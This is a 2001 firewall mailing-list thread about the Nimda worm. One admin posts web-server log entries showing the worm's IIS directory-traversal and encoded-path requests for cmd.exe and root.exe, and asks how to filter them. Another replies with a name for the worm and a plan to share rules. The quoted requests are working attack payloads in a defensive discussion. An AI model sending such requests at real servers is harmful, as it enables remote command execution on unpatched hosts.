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Re: [FW1] New worm on the road?



That's the NIMBA worm.. I've been trying various resource filters but no luck yet. Had well over 3 million log entries so far *today*.. an avg month for us is ~30,000. (I'm stopping it with a more blunt filter for now..)
If I get a good rule working I'll post it up, and hope others will do the same.

Regards from NYC,

Joe 

>>> "Patrick Coomans" <[email protected]> 09/18/01 05:35PM >>>
Since this evening I am experiencing massive attacks on HTTP (IIS oriented I presume) from many different IP addresses.
 
They all look like:
 
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0

 
Is anyone aware that this is some new kind of worm?
Now my FW1 question: can I create a HTTP resource (secure server) that blocks all requests that e.g. have a .EXE in it ?  Or would that slow my FW1's down to much?
 
Any other suggestions for good products that can do HTTP content inspection and that cooperate or can co-exist with fw1 ?
 
 
Thanks,
Patrick
 




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